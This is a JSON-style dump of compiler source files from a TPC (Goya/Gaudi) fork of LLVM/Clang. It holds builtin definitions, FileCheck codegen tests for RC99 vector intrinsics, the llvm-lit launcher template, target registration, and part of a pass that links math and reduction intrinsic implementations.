float256\n//\n// R39 minifloat256_pair_t\n// R40 minifloat256_minihalf256_pair_t\n// R41 minifloat256_char256_pair_t\n// R42 minifloat256_uchar256_pair_t\n//\n// R43 minihalf256_pair_t\n// R44 minihalf256_minifloat256_pair_t\n// R45 minihalf256_char256_pair_t\n// R46 minihalf256_uchar256_pair_t\n\nBUILTIN(to_bool128, \"V16UcV32Uc\", \"nc\")\nBUILTIN(to_bool64, \"V8UcV32Uc\", \"nc\")\nBUILTIN(from_bool128, \"V32UcV16Uc\", \"nc\")\nBUILTIN(from_bool64, \"V32UcV8Uc\", \"nc\")\n\nTARGET_BUILTIN(require_cpu_goya, \"v\", \"\", \"goya\")\nTARGET_BUILTIN(require_cpu_gaudi, \"v\", \"\", \"gaudi\")\nBUILTIN(get_index_space_offset, \"V5i\", \"\")\nBUILTIN(get_index_space_size, \"V5i\", \"\")\n\nBUILTIN(printf_i, \"vcC*i\", \"\")\nBUILTIN(printf_ui, \"vcC*Ui\", \"\")\nBUILTIN(printf_f8, \"vcC*q\", \"\")\nBUILTIN(printf_h8, \"vcC*Q\", \"\")\nBUILTIN(printf_bf, \"vcC*B\", \"\")\nBUILTIN(printf_h, \"vcC*h\", \"\")\nBUILTIN(printf_f, \"vcC*f\", \"\")\nBUILTIN(printf_s, \"vcC*s\", \"\")\nBUILTIN(printf_us, \"vcC*Us\", \"\")\nBUILTIN(printf_c, \"vcC*c\", \"\")\nBUILTIN(printf_uc, \"vcC*Uc\", \"\")\nBUILTIN(printf_st, \"vcC*\", \"\")\n\nBUILTIN(read_lfsr, \"E256c\", \"\")\nBUILTIN(write_lfsr, \"vE256c\", \"\")\nBUILTIN(read_lfsrnc, \"E256c\", \"nc\")\n\n\n// Include definitions obtained by intrinsic generator from the file 'tpc-intrinsics.h'.\n#include \"BuiltinsTPCAutogenNew.def\"\n\n#undef BUILTIN\n#undef TARGET_BUILTIN\n" }, { "alpha_fraction": 0.5980392098426819, "alphanum_fraction": 0.6274510025978088, "avg_line_length": 13.5, "blob_id": "cb8406e55e410924daeea2291bc3395f00ca7fd9", "content_id": "602d7ea33e688ce829556c4e435ff2c0d5427500", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 204, "license_type": "permissive", "max_line_length": 87, "num_lines": 14, "path": "/clang/test/RC99/inline_03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nint factorial(int n)\n{\n return n;\n}\n\n\nint main()\n{\n return factorial(7);\n}\n\n// CHECK-NOT: define i32 @factorial\n\n" }, { "alpha_fraction": 0.49713465571403503, "alphanum_fraction": 0.5787965655326843, "avg_line_length": 37.77777862548828, "blob_id": "39015ad19ffeaddf7028e73375b486da5fd0d4b1", "content_id": "b53ad02a2f675f8777de70395e7ceb287403506c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 698, "license_type": "permissive", "max_line_length": 131, "num_lines": 18, "path": "/clang/test/RC99/IntrinsicsM/and/bv_b_and_bv_bv_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x2, int dest0)\n{\n unsigned a = 1;\n bool256 pred0;\n pred0 = bv_mov_b(1);\n bool256 pred1;\n pred1 = bv_mov_b(1);\n bool256 res0 = 0; \n int64 __local *pred_res0 = (int64 __local *)dest0;\n\n res0 = bv_b_and_bv_bv_b(pred0, pred1, res0, x2, 0);\n *pred_res0 = v_i32_add_v_s_vb(*pred_res0 , 1, *pred_res0 , 1, res0, 0);\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: and.b %VP{{[0-9]+}}, %VP{{[0-9]+}}, %VP{{[0-9]+}}, %SP{{[0-9]+}}\n" }, { "alpha_fraction": 0.510128915309906, "alphanum_fraction": 0.5819520950317383, "avg_line_length": 40.846153259277344, "blob_id": "aa248f475e083eeb5281e18dffa460e62d39e614", "content_id": "99197af4c9cfa4e98eff6d934ee688e1d99ace4e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 543, "license_type": "permissive", "max_line_length": 139, "num_lines": 13, "path": "/clang/test/RC99/IntrinsicsM/st_l/bf16_st_l_s_s_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -mllvm -emit-index-factors=false -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned dest, bf16 value, _Bool pred){\n bf16_st_l_s_s_b(dest, value, 0, pred, 1);\n bf16_st_l_s_s_b(0x100, value, 1, pred, 0);\n}\n\n// CHECK: mov %SP[[PRED:[0-9]+]], %S2\n// CHECK: st_l %S0, %S1, !%SP[[PRED]]\n// CHECK: st_l mmio 0x100, %S1, %SP[[PRED]]\n// CHECK-GEN3P: st_l mmio unlock %S{{[0-9]+}}, %S1, %SP[[PRED]]\n// CHECK-GEN3P: st_l mmio unlock 0x200, %S1, !%SP[[PRED]]" }, { "alpha_fraction": 0.507721483707428, "alphanum_fraction": 0.5762665867805481, "avg_line_length": 41.3563232421875, "blob_id": "b0d26c3b067467ad8407fd8352b67d3fda79491f", "content_id": "a24060b8ab8552717af40be392384fa3818a886f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3691, "license_type": "permissive", "max_line_length": 135, "num_lines": 87, "path": "/clang/test/RC99/Intrinsics/v_convert_f32_to_bf16_all.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": " // RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefixes=CHECK,GEN3P %s\n\nvoid main(int dest, int src1, int vpredp, _Bool pred) {\n volatile bfloat128 __local *dest_ptr = (bfloat128 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src1;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float128 x = {*src_ptr++, 0};\n bool256 vpred = *vpred_ptr++;\n bfloat128 income = *dest_ptr;\n\n // CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n // CHECK-DAG: ld_l_v %V[[SRC:[0-9]+]], %S1\n // CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n // CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // v_convert_f32_to_bf16_all_b\n {\n bfloat128 res = income;\n\n res = v_convert_f32_to_bf16_all_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 rhne [[DEST]], %D[[SRC]], [[PRED]]\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_all_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 rhne [[DEST]], %D[[SRC]], [[PRED]]\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_all_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 rhne [[DEST]], %D[[SRC]], [[PRED]]\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_all_b(x, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 rhne [[DEST]], %D[[SRC]], %SP1\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], %SP1\n\n res = v_convert_f32_to_bf16_all_b(x, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 rz [[DEST]], %D[[SRC]], [[PRED]]\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rz [[DEST]], %D[[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_all_b(x, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 sr [[DEST]], %D[[SRC]], [[PRED]]\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 sr [[DEST]], %D[[SRC]], [[PRED]]\n\n\n res = v_convert_f32_to_bf16_all_b(x, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 rd [[DEST]], %D[[SRC]], [[PRED]]\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rd [[DEST]], %D[[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_all_b(x, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n // GEN3P: convert.f32 all_lanes target_type=bf16 ru [[DEST]], %D[[SRC]], [[PRED]]\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 ru [[DEST]], %D[[SRC]], [[PRED]]\n\n income = res;\n }\n\n // v_convert_f32_to_bf16_all_vb\n {\n bfloat128 res = income;\n\n res = v_convert_f32_to_bf16_all_vb(x, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_bf16_all_vb(x, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_bf16_all_vb(x, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_bf16_all_vb(x, 0, res, to_bool128(vpred), 1);\n *dest_ptr++ = res;\n // GEN2P: convert.f32 lane_sel=0 target_type=bf16 rhne [[DEST]], %D[[SRC]], ![[VPRED]]\n\n income = res;\n }\n}\n\n\n" }, { "alpha_fraction": 0.6785980463027954, "alphanum_fraction": 0.6800894737243652, "avg_line_length": 26.9375, "blob_id": "c41c1418a9882d765d52b39f667fd602aa5c92d7", "content_id": "f9e2f7a49b52b9000f4c611ceba87c5309efc1c4", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1341, "license_type": "permissive", "max_line_length": 92, "num_lines": 48, "path": "/llvm/utils/llvm-lit/llvm-lit.in", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\n\nconfig_map = {}\n\ndef map_config(source_dir, site_config):\n global config_map\n source_dir = os.path.realpath(source_dir)\n source_dir = os.path.normcase(source_dir)\n site_config = os.path.normpath(site_config)\n config_map[source_dir] = site_config\n\n# Variables configured at build time.\n\n\ntry:\n llvm_obj_root = os.environ['LLVM_OBJ_DIR']\n env_source_dir = os.environ['LLVM_SOURCE_DIR']\n llvm_source_root = os.path.join(env_source_dir, \"llvm\")\n clang_source_root = os.path.join(env_source_dir, \"clang\")\nexcept KeyError:\n llvm_obj_root = \"@LLVM_BINARY_DIR@\"\n llvm_source_root = \"@LLVM_SOURCE_DIR@\"\n clang_source_root = os.path.realpath(os.path.join(llvm_source_root, os.pardir, \"clang\"))\n\n# Make sure we can find the lit package.\nsys.path.insert(0, os.path.join(llvm_source_root, 'utils', 'lit'))\n\n# Set up some builtin parameters, so that by default the LLVM test suite\n# configuration file knows how to find the object tree.\nbuiltin_parameters = { \n\t'build_mode' : \"@BUILD_MODE@\",\n\t'llvm_build' : llvm_obj_root,\n\t'llvm_src' : llvm_source_root,\n\t'clang_src' : clang_source_root\n}\n\n\n@LLVM_LIT_CONFIG_MAP@\n\nbuiltin_parameters['config_map'] = config_map\n\nif __name__=='__main__':\n from lit.main import main\n main(builtin_parameters)\n" }, { "alpha_fraction": 0.5335689187049866, "alphanum_fraction": 0.6007066965103149, "avg_line_length": 34.375, "blob_id": "164254aaecd6fe935df7670420f8e7b6d26776c4", "content_id": "42f28fa2aa00d3bcce8c982c9528a963892ed346", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 283, "license_type": "permissive", "max_line_length": 106, "num_lines": 8, "path": "/clang/test/RC99/bfloat16/bf16_cmp-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, _BFloat16 src1, _BFloat16 src2) {\n _Bool __local *dptr = (_Bool __local *) dest;\n\n *dptr = src1 == src2;\n// CHECK: cmp_eq.bf16 %SP{{[0-9]+}}, %S1, %S2\n}\n" }, { "alpha_fraction": 0.5825688242912292, "alphanum_fraction": 0.5825688242912292, "avg_line_length": 26.25, "blob_id": "1e5e4e1a160e9319518f5ed25a5c2e826ffa6e7d", "content_id": "15f5d0a364efdc156c885f8b37a603623a127364", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 654, "license_type": "permissive", "max_line_length": 80, "num_lines": 24, "path": "/llvm/lib/Target/TPC/TargetInfo/TPCTargetInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCTargetInfo.cpp - TPC Target Implementation ---------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"TPC.h\"\nusing namespace llvm;\n\nTarget TheTPCTarget;\n\nTarget &llvm::getTheTPCTarget() {\n return TheTPCTarget;\n}\n\n\nextern \"C\" void LLVMInitializeTPCTargetInfo() {\n RegisterTarget<Triple::tpc, /*HasJIT=*/false>\n X(TheTPCTarget, \"tpc\", \"TPC backend\", \"TPC\");\n}\n" }, { "alpha_fraction": 0.5649654269218445, "alphanum_fraction": 0.6007577180862427, "avg_line_length": 40.24081039428711, "blob_id": "49ee0ebc5bcff6dde76b01d3a0be0472b8d9172f", "content_id": "01692b08b882940e59e26f666505307660cb70c7", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 22435, "license_type": "permissive", "max_line_length": 80, "num_lines": 544, "path": "/llvm/lib/Transforms/IPO/LinkTPCHeaders.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- InferFunctionAttrs.cpp - Infer implicit function attributes --------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Transforms/IPO/LinkTPCHeaders.h\"\n#include \"llvm/ADT/APInt.h\"\n#include \"llvm/ADT/DenseSet.h\"\n#include \"llvm/IR/DerivedTypes.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/Intrinsics.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IRReader/IRReader.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Linker/Linker.h\"\n#include \"llvm/PassSupport.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/Process.h\"\n#include \"llvm/Support/SourceMgr.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include <string>\nusing namespace llvm;\n\n#define DEBUG_TYPE \"link-tpc-headers\"\n\nnamespace {\nclass LinkTPCHeadersLegacyPass : public ModulePass {\nprivate:\n // Function name map.\n DenseMap<ArrayRef<unsigned>, StringRef> NameMap;\n // IR map.\n DenseMap<ArrayRef<unsigned>, StringRef> LinkFileMap;\n // A set of already linked IRs.\n DenseSet<StringRef> LinkedIRs;\n\n DenseMap<StringRef, unsigned> ArchMap;\n // Supported architectures.\n enum SubArchType { Goya = 1, Gaudi };\n\n StringRef SubArchName = \"gaudi\";\n\n // Replacement list.\n SmallVector<Instruction *, 8> ReplacementList;\n\npublic:\n static char ID; // Pass identification, replacement for typeid\n LinkTPCHeadersLegacyPass() : ModulePass(ID) {\n initializeLinkTPCHeadersLegacyPassPass(*PassRegistry::getPassRegistry());\n\n // Initializing the Dense Map for Arch values.\n ArchMap[\"goya\"] = SubArchType::Goya;\n ArchMap[\"gaudi\"] = SubArchType::Gaudi;\n\n // Sin F32\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::sin, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = GaudiSinF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::sin, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = \"sin_f32\";\n // Cos F32\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::cos, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = GaudiCosF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::cos, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = \"cos_f32\";\n // Exp F32\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::exp, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = GaudiExpF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::exp, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = \"exp_cephes_f32\";\n // Log F32\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::log, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = GaudiLogF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::log, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = \"log_f32\";\n // Sqrt F32\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::sqrt, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = GaudiSqrtF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::sqrt, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = \"sqrt_f32\";\n // Tanh F32\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_tanh, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] = GaudiTanhF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::tpc_tanh, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = \"tanh_f32\";\n // RSqrt F32\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_rsqrt, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] = GaudiRSqrtF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::tpc_rsqrt, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0,\n SubArchType::Gaudi})] = \"rsqrt_f32\";\n // Reciprocal F32\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_reciprocal, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] = GaudiRecipF32LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_reciprocal, Type::FloatTyID * 64 * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] = \"reciprocal_f32\";\n\n // reduction F32 fadd\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_add, Type::FloatTyID * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] =\n GaudiReduceAddF32;\n NameMap[ArrayRef<unsigned>({Intrinsic::experimental_vector_reduce_add,\n Type::FloatTyID * 32, Type::FloatTyID * 64 * 32,\n 0, SubArchType::Gaudi})] = \"v_f32_reduce_add\";\n\n // reduction F32 fmul\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_mul, Type::FloatTyID * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] =\n GaudiReduceMulF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::experimental_vector_reduce_mul,\n Type::FloatTyID * 32, Type::FloatTyID * 64 * 32,\n 0, SubArchType::Gaudi})] = \"v_f32_reduce_mul\";\n\n // reduction F32 fmax\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_fmax, Type::FloatTyID * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] =\n GaudiReduceMaxF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::experimental_vector_reduce_fmax,\n Type::FloatTyID * 32, Type::FloatTyID * 64 * 32,\n 0, SubArchType::Gaudi})] = \"v_f32_reduce_max\";\n\n // reduction F32 fmin\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_fmin, Type::FloatTyID * 32,\n Type::FloatTyID * 64 * 32, 0, SubArchType::Gaudi})] =\n GaudiReduceMinF32LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::experimental_vector_reduce_fmin,\n Type::FloatTyID * 32, Type::FloatTyID * 64 * 32,\n 0, SubArchType::Gaudi})] = \"v_f32_reduce_min\";\n\n // Sin BF16\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::sin, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = GaudiSinBF16LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::sin, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = \"sin_bf16\";\n // reduction BF16 fadd\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_add, Type::BFloat16ID * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiReduceAddBF16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_add, Type::BFloat16ID * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n \"v_bf16_reduce_add\";\n\n // reduction BF16 fmax\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_fmax, Type::BFloat16ID * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiReduceMaxBF16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_fmax, Type::BFloat16ID * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n \"v_bf16_reduce_max\";\n\n // reduction BF16 fmin\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_fmin, Type::BFloat16ID * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiReduceMinBF16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_fmin, Type::BFloat16ID * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n \"v_bf16_reduce_min\";\n\n // Cos BF16\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::cos, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = GaudiCosBF16LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::cos, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = \"cos_bf16\";\n // Exp BF16\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::exp, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = GaudiExpBF16LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::exp, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = \"exp_bf16\";\n // Log BF16\n LinkFileMap[ArrayRef<unsigned>({Intrinsic::log, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = GaudiLogBF16LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::log, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = \"log_bf16\";\n // Sqrt BF16\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::sqrt, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiSqrtBF16LL;\n NameMap[ArrayRef<unsigned>({Intrinsic::sqrt, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0,\n SubArchType::Gaudi})] = \"sqrt_bf16\";\n // Tanh BF16\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_tanh, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiTanhBF16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_tanh, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] = \"tanh_bf16\";\n // RSqrt BF16\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_rsqrt, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiRSqrtBF16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_rsqrt, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] = \"rsqrt_bf16\";\n // Reciprocal BF16\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_reciprocal, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiRecipBF16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::tpc_reciprocal, Type::BFloat16ID * 128 * 16,\n Type::BFloat16ID * 128 * 16, 0, SubArchType::Gaudi})] =\n \"reciprocal_bf16\";\n\n // reduction I16 max\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smax, Type::IntegerTyID * 16,\n Type::IntegerTyID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiReduceMaxI16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smax, Type::IntegerTyID * 16,\n Type::IntegerTyID * 128 * 16, 0, SubArchType::Gaudi})] =\n \"v_i16_reduce_max\";\n\n // reduction I16 min\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smin, Type::IntegerTyID * 16,\n Type::IntegerTyID * 128 * 16, 0, SubArchType::Gaudi})] =\n GaudiReduceMinI16LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smin, Type::IntegerTyID * 16,\n Type::IntegerTyID * 128 * 16, 0, SubArchType::Gaudi})] =\n \"v_i16_reduce_min\";\n\n // reduction I8 max\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smax, Type::IntegerTyID * 8,\n Type::IntegerTyID * 256 * 8, 0, SubArchType::Gaudi})] =\n GaudiReduceMaxI8LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smax, Type::IntegerTyID * 8,\n Type::IntegerTyID * 256 * 8, 0, SubArchType::Gaudi})] =\n \"v_i8_reduce_max\";\n\n // reduction I8 min\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smin, Type::IntegerTyID * 8,\n Type::IntegerTyID * 256 * 8, 0, SubArchType::Gaudi})] =\n GaudiReduceMinI8LL;\n NameMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_smin, Type::IntegerTyID * 8,\n Type::IntegerTyID * 256 * 8, 0, SubArchType::Gaudi})] =\n \"v_i8_reduce_min\";\n\n // reduction U8 min\n LinkFileMap[ArrayRef<unsigned>(\n {Intrinsic::experimental_vector_reduce_umin, Type::IntegerTyID * 8,\n Type::IntegerTyID * 